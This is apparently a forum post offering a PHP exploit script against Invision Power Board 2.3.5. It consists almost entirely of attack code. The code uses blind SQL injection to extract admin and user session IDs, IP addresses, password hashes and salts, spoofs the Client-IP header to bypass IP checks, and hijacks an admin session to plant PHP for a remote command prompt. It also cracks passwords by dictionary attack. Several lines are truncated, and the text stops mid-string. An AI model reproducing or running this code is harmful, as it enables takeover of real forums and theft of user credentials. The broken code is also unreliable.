Invision Power Board 2.3.5 exploits. (current version)
[hide=20]
[code]#!/usr/bin/php -q
<?php
# This file requires the PhpSploit class.
# If you want to use this class, the latest
# version can be downloaded from acid-root.new.fr.
##################################################
error_reporting(E_ALL ^ E_NOTICE);
require('phpsploitclass.php'
# yeah ... it rox (:
class ipb_spl
{
var $web;
function main()
{
$this->mhead();
# Gimme your args
$this->p_attack = $this->get_p('attack', true);
$this->p_prox = $this->get_p('proxhost'
$this->p_proxa = $this->get_p('proxauth'
$this->init_global();
# Proxy params
if( $this->p_prox )
{
$this->web->proxy($this->p_prox);
if( $this->p_proxa )
$this->web->proxyauth($this->p_proxa);
}
# Where do we go ?
switch( $this->p_attack )
{
case 1: $this->code_exec(); break;
case 2; $this->bf_sql_pwd(); break;
case 3: $this->bf_usr_pwd(); break;
default: $this->usage();
}
return;
}
function code_exec($loop=1)
{
# First loop
if( $loop == 1 )
{
$this->set_sql_param();
$this->set_sql_focus();
$this->p_acp = $this->get_p('acp'
# ACP path
if( !$this->p_acp )
{
# If the user changed the ACP directory, we can
# find it (if the "Remove ACP Link" option was not
# applied) by log in as an Admin, and then click
# on "Admin CP". This can be done with a user
# but I didn't implemented that
$this->msg('Using default ACP path: admin', 1);
$this->p_acp = 'admin';
}
else
$this->msg('Using ACP path "'.$this->p_acp.'"', 1);
# Init client headers:
# Only if we have the same IP as the targeted user (not admin),
# it resets session datas, so we try to spoof our
# IP as a random one in order to keep user's session datas while
# we bruteforce SQL fields.
$this->bypass_matches();
# Remove expired sessions ( time() - 60*60*2 = > 2 hours )
$this->web->get($this->p_url.$this->p_acp.'/index.php?'
$this->msg('Removed all out of date admin sessions', 1);
# Cookie prefix
$this->get_cprefix();
}
# Admin session ?
$this->msg('Trying to find an admin session id', 0);
# Got one :]
if( $this->get_admin_sess() )
{
$this->s_admin = true;
$this->s_sess = $this->data['a_sess_id'];
$this->a_url = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;
}
# Nothing special
else
{
$this->s_admin = false;
$this->msg('No admin session id found', -1);
}
# User session ?
if( !$this->s_sess )
{
$this->msg('Trying to find a user session id', 0);
# Yep
if( $this->get_user_sess() )
$this->s_sess = $this->data['u_sess_id'];
# F0ck
else
{
$this->msg('No user session id found', -1);
$this->msg('Admin session > 2 hours or user logged out', 0);
$this->msg('Keeping trying until the user connects', 0);
$this->msg('Entering loop #'.$loop.' ...', 0);
$this->code_exec(++$loop);
}
}
$this->msg('Getting security options', 0);
# Security options
$this->get_sec_options();
# IP filter ?
if( $this->conf['ip'] === '1' )
{
$this->s_bypass = true;
$this->msg('IP filter option is turned on', 0);
# Spoofing protection ?
if( !$this->conf['xforward'] )
{
# Assuming our IP isn't the same etc..
$this->msg('Can\'t bypass the IP filter', -1);
exit(1);
}
# X-Forwarded-For / Client-IP /
# Proxy-User / X-Cluster-Client-IP
else
{
$this->msg('Cool, we can spoof our IP (Client-IP)', 1);
if( $this->s_admin )
{
$this->msg('Trying to find admin\'s last IP', 0);
# Admin IP found
$this->get_admin_ip();
$this->s_ip = $this->data['a_ip_addr'];
}
else
{
$this->s_admin = false;
$this->msg('Trying to find user\'s last used IP', 0);
# User IP found
$this->get_user_ip();
$this->s_ip = $this->data['u_ip_addr'];
}
# Nothing found
if( !$this->s_ip )
{
# Ahah (:
$this->msg('No IP found for this user', -1);
$this->give_hope();
}
# Got one !
else
$this->msg('Ok, using IP '.$this->s_ip, 1);
}
}
# User-Agent filter ?
if( $this->conf['browser'] === '1' && !$this->s_admin )
{
$this->s_bypass = true;
$this->msg('Trying to find a valid user-agent', 0);
# Good
if( $this->get_user_agent() )
{
$this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);
$this->s_agent = $this->data['u_agent'];
}
# WTF :!
else
{
$this->msg('No user-agent found for this user', -1);
$this->msg('Maybe the browser didn\'t send this header', 0);
$this->s_agent = '';
}
}
# Cool !?
if( !$this->s_bypass )
$this->msg('Cool, nothing to bypass', 1);
$this->msg('Trying to log in', 0);
# Owned =]
if( $this->is_logged() )
{
# PHP code
if( $this->s_admin )
{
$this->msg('Logged in with an admin session', 1);
$this->exec_code();
}
# Normal user ?
else
{
$this->msg('Logged in with a user session', 1);
$this->msg('You can log in using the cookie session_id', 1);
if( $this->s_ip !== $this->def_ip )
$this->msg('Set the Client-IP header to: '.$this->s_ip, 1);
if( $this->s_agent )
$this->msg('Set the User-Agent header to: '.$this->s_agent, 1);
exit(0);
}
}
else
{
# Even if the admin logged out .. the admin session
# is still valid
$this->msg('Can\'t log in, the session has expired ?!', -1);
$this->give_hope();
}
return;
}
function bf_sql_pwd()
{
$this->p_ip = $this->get_p('ip', true);
$this->p_dict = $this->get_p('dict', true);
$this->p_sql_u = $this->get_p('sqlusr'
$this->p_url = $this->get_p('url'
$this->p_uname = $this->get_p('uname'
$this->p_pwd = $this->get_p('pwd'
// or
$this->p_uid = $this->get_p('uid'
$this->p_hash = $this->get_p('passhash'
$this->p_shold = $this->get_p('stronghold'
if( $this->p_uname && $this->p_pwd && $this->p_url )
{
$this->get_cprefix();
$this->msg('Trying to get some cookies', 0);
$g_dat = 'index.php?act=Login&CODE=01&CookieDate=1';
$p_dat = 'UserName='.$this->p_uname.'&PassWord='.$this->p_pwd.'&x=0&y=0';
$this->web->post($this->p_url.$g_dat, $p_dat);
$this->p_uid = $this->web->cookie[$this->s_cprefix.'member_id'];
$this->p_hash = $this->web->cookie[$this->s_cprefix.'pass_hash'];
$this->p_shold = $this->web->cookie[$this->s_cprefix.'ipb_stronghold'];
}
elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )
$this->usage();
if( !$this->p_uid || !$this->p_hash || !$this->p_shold )
{
$this->msg('Can\'t get cookies', -1);
$this->msg('You should try with other parameters', -1);
exit(1);
}
$this->msg('Ok, using cookies:', 1);
$this->msg('member_id='.$this->p_uid, 1);
$this->msg('pass_hash='.$this->p_hash, 1);
$this->msg('ipb_stronghold='.$this->p_shold, 1);
if( !$this->p_sql_u )
{
$this->set_sql_param();
$this->msg('Trying to get the current sql user', 0);
if( !$this->get_sql_user() )
{
$this->msg('Can\'t get the sql user', -1);
$this->msg('If you know the sql user, use -sqlusr', -1);
exit(1);
}
else
$this->p_sql_u = $this->data['sql_user'];
}
$this->msg('Ok, using sql user '.$this->p_sql_u, 1);
$dico_c = file($this->p_dict);
$ip_a = explode('.', $this->p_ip);
$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
$this->msg('You should take a drink ...', 0);
foreach( $dico_c as $line )
{
$md5 = md5(trim($line).$this->p_sql_u);
$md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5;
$md5 = md5($md5);
if( $this->p_shold === $md5 )
{
$this->msg('Found something cool =]', 1);
$this->msg('SQL password: '.$line, 1);
exit(1);
}
}
$this->msg('End of the wordlist, password not found', -1);
return;
}
function bf_usr_pwd()
{
$this->p_dict = $this->get_p('dict', true);
$this->p_hash = $this->get_p('passhash'
$this->p_salt = $this->get_p('salt'
if( !$this->p_hash || !$this->p_salt )
{
$this->set_sql_param();
$this->set_sql_focus();
}
if( !$this->p_hash )
{
$this->msg('Trying to get the password hash', 0);
if( !$this->get_pass_hash() )
{
$this->msg('Can\'t get the password hash', -1);
exit(1);
}
else
$this->p_hash = $this->data['pass_hash'];
}
$this->msg('Ok, using hash '.$this->p_hash, 1);
if( !$this->p_salt )
{
$this->msg('Trying to get the password salt', 0);
if( !$this->get_pass_salt() )
{
$this->msg('Can\'t get the password salt', -1);
exit(1);
}
else
$this->p_salt = $this->data['pass_salt'];
}
$this->msg('Ok, using salt '.$this->p_salt, 1);
$dico_c = file($this->p_dict);
$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
$this->msg('You should take a drink ...', 0);
foreach( $dico_c as $line )
{
if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )
{
$this->msg('Found something cool =]', 1);
$this->msg('User password: '.$line, 1);
exit(1);
}
}
$this->msg('End of the wordlist, password not found', -1);
return;
}
function set_sql_param()
{
$this->p_url = $this->get_p('url', true);
$this->p_pre = $this->get_p('prefix'
# Table prefix
if( !$this->p_pre )
{
# Default table prefix if not precised
$this->msg('Using default table prefix: ibf_', 1);
$this->p_pre = 'ibf_';
}
else
$this->msg('Using table prefix '.$this->p_pre, 1);
}
function set_sql_focus()
{
$this->p_uname = $this->get_p('uname'
$this->p_uid = $this->get_p('uid'
if( $this->p_uname )
$this->msg('Using targeted username '.$this->p_uname, 1);
elseif( $this->p_uid )
$this->msg('Using targeted user id '.$this->p_uid, 1);
# Target
if( !($this->p_uname || $this->p_uid) )
{
# Default uid if not precised
$this->msg('Using default user id: 1', 1);
$this->p_uid = 1;
}
# Focus on ?
if( $this->p_uname )
$this->t_on = 'members_l_username=\''.addslashes($this->p_uname).'\'';
else
$this->t_on = 'id='.(int)$this->p_uid;
return;
}
function exec_code()
{
$this->write_code();
while( $this->cmd_prompt() )
{
$this->web->addheader('My-Code', $this->cmd);
$this->web->get($this->p_url);
print "\n".$this->get_answer();
}
exit(0);
}
function get_answer()
{
$res_a = explode($this->res_sep, $this->web->getcontent());
if( !$res_a[1] )
return 'No result to retrieve';
else
return $res_a[1];
}
function cmd_prompt()
{
$this->cmd = $this->msg('root@ipb: ', 1, 1, 0, true);
if( !ereg('^(quit|exit)$', $this->cmd) )
{
$this->cmd = base64_encode($this->cmd);
$this->cmd = str_replace('%CMD%', $this->cmd, $this->php_send);
return TRUE;
}
else
return FALSE;
}
function write_code()
{
# Gimme the language ID
$this->get_def_lang();
# Current lang settings
$p_dat =
'code=edit2&act=lang&id='.$this->g_lid.'§ion'.
'=lookandfeel&lang_file=lang_boards.php';
$this->web->post($this->a_url, $p_dat);
# We collect each variable name / value
if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )
{
# POST data
$p_dat =
'code=doedit&act=lang&id='.$this->g_lid.
'&lang_file=lang_boards.php§ion=lo'.
'okandfeel&';
# &Name=Value
for( $i=0; $i<count($l_vars[0]); $i++ )
{
$p_dat .=
'&XX_'.$l_vars[1][$i].'='.urlencode($l_vars[2][$i]);
# We write our PHP code in the first variable
if( $i == 0 )
$p_dat .= $this->php_write;
}
# Go on
$this->web->post($this->a_url, $p_dat);
$this->msg('PHP code written', 1);
}
else
{
# WTF :!
$this->msg('Can\'t find block variables', 0);
exit(1);
}
return;
}
function get_def_lang()
{
$this->msg('Trying to get the set language id', 0);
$this->web->get($this->a_url.'§ion=lookandfeel&act=lang'
if( preg_match($this->reg_lang, $this->web->getcontent(), $lids) )
{
$this->g_lid = $lids[1];
$this->msg('Using language id '.$this->g_lid, 1);
}
else
{
$this->msg('Can\'t get the default language id', -1);
exit(1);
}
return;
}
function is_logged()
{
$this->bypass_matches();
# User session ok ?
if( !$this->s_admin )
{
$match = 'act=Login&CODE=03';
$this->web->addcookie($this->s_cprefix.'session_id', $this->s_sess);
$this->web->get($this->p_url);
}
# Admin session ok ?
else
{
$match = '§ion=';
$this->web->get($this->a_url);
}
if( preg_match("/$match/i", $this->web->getcontent()) )
return true;
else
return false;
}
function bypass_matches()
{
# match_browser
$this->web->agent($this->s_agent);
# match_ipaddress
$this->web->addheader('Client-IP', $this->s_ip);
return;
}
function get_cprefix()
{
$this->msg('Trying to get the cookie prefix', 0);
# Set-Cookie: session_id=...; path=/
$this->web->get($this->p_url);
$this->s_cprefix = '';
if( $this->web->cookie )
{
foreach( $this->web->cookie as $name => $value)
{
if( preg_match($this->reg_cpre, $name, $cmatches) )
{
$this->s_cprefix = $cmatches[1];
break;
}
}
}
if( !$this->s_cprefix )
$this->msg('No cookie prefix set', 1);
else
$this->msg('Using cookie prefix '.$this->s_cprefix, 1);
return;
}
function get_sec_options()
{
# If no value, take the default one
$this->get_conf('t.conf_value'
$this->get_conf('t.conf_default'
return;
}
function get_conf($field)
{
$this->init_sql();
$this->t_table = 'conf_settings';
$this->t_field = $field;
$this->t_char = $this->chr_num;
$this->t_add_0 = "AND t.conf_key='match_browser'";
if( $this->conf['browser'] === '' )
$this->conf['browser'] = $this->bf_inj();
$this->t_add_0 = "AND t.conf_key='match_ipaddress'";
if( $this->conf['ip'] === '' )
$this->conf['ip'] = $this->bf_inj();
$this->t_add_0 = "AND t.conf_key='xforward_matching'";
if( $this->conf['xforward'] === '' )
$this->conf['xforward'] = $this->bf_inj();
return;
}
function get_login_key()
{
$this->init_sql();
$this->t_key = 'login_key';
$this->t_table = 'members';
$this->t_field = 't.member_login_key';
$this->t_join = 't.id=m.id';
$this->t_char = $this->chr_md5;
$this->data['login_key'] = $this->bf_inj();
return $this->key_val;
}
function get_sql_user()
{
$this->init_sql();
$this->t_key = 'user()';
$this->t_table = 'members';
$this->t_field = 'user()';
$this->t_char = $this->chr_all;
$this->t_end = '@';
$this->data['sql_user'] = $this->bf_inj();
return $this->key_val;
}
function get_pass_hash()
{
$this->init_sql();
$this->t_key = 'pass_hash';
$this->t_table = 'members_converge';
$this->t_field = 't.converge_pass_hash';
$this->t_join = 't.converge_email=m.email';
$this->t_char = $this->chr_md5;
$this->data['pass_hash'] = $this->bf_inj();
return $this->key_val;
}
function get_pass_salt()
{
$this->init_sql();
$this->t_key = 'pass_salt';
$this->t_table = 'members_converge';
$this->t_field = 't.converge_pass_salt';
$this->t_join = 't.converge_email=m.email';
$this->t_char = $this->chr_all;
$this->data['pass_salt'] = $this->bf_inj();
return $this->key_val;
}
function get_admin_sess()
{
$this->init_sql();
$this->t_key = 'admin_sid';
$this->t_table = 'admin_sessions';
$this->t_field = 't.session_id';
$this->t_join = 't.session_member_id=m.id';
$this->t_sel = 't.session_log_in_time';
$this->t_char = $this->chr_md5;
$this->data['a_sess_id'] = $this->bf_inj();
return $this->key_val;
}
function get_admin_ip()
{
$this->init_sql();
$this->t_key = 'admin_ip';
$this->t_table = 'admin_sessions';
$this->t_field = 't.session_ip_address';
$this->t_join = 't.session_member_id=m.id';
$this->t_sel = 't.session_log_in_time';
$this->t_char = $this->chr_ip;
$this->data['a_ip_addr'] = $this->bf_inj();
return $this->key_val;
}
function get_admin_pwd()
{
$this->init_sql();
$this->t_key = 'admin_pwd';
$this->t_table = 'admin_login_logs';
$this->t_field = 't.admin_post_details';
$this->t_join = 't.admin_username=m.members_l_username';
$this->t_sel = 't.admin_id';
$this->t_end = '"';
$this->t_bchar = -4; # ";}}
$this->t_char = $this->chr_all;
$this->data['a_pwd_like']= $this->bf_inj();
return $this->key_val;
}
function get_user_sess()
{
$this->init_sql();
$this->t_key = 'user_sid';
$this->t_table = 'sessions';
$this->t_field = 't.id';
$this->t_join = 't.member_id=m.id';
$this->t_sel = 't.running_time';
$this->t_char = $this->chr_md5;
$this->data['u_sess_id'] = $this->bf_inj();
return $this->key_val;
}
function get_user_ip()
{
$this->init_sql();
$this->t_key = 'user_ip';
$this->t_table = 'sessions';
$this->t_field = 't.ip_address';
$this->t_join = 't.member_id=m.id';
$this->t_sel = 't.running_time';
$this->t_char = $this->chr_ip;
$this->data['u_ip_addr'] = $this->bf_inj();
return $this->key_val;
}
function get_user_agent()
{
$this->init_sql();
$this->t_key = 'user_agent';
$this->t_table = 'sessions';
$this->t_field = 't.browser';
$this->t_join = 't.member_id=m.id';
$this->t_sel = 't.running_time';
$this->t_char = $this->chr_all;
$this->data['u_agent'] = $this->bf_inj();
return $this->key_val;
}
function init_sql()
{
# SQL Injection params
$this->t_end = null;
$this->t_add_0 = '';
$this->t_add_1 = '';
$this->t_sel = '1';
$this->t_bchar = 0;
$this->t_join = '';
$this->t_key = '';
$this->t_add_1 = 'ORDER BY id DESC LIMIT 1';
return;
}
function init_global()
{
# Charsets
$this->chr_spe = str_split(' :/;*(-.!,?
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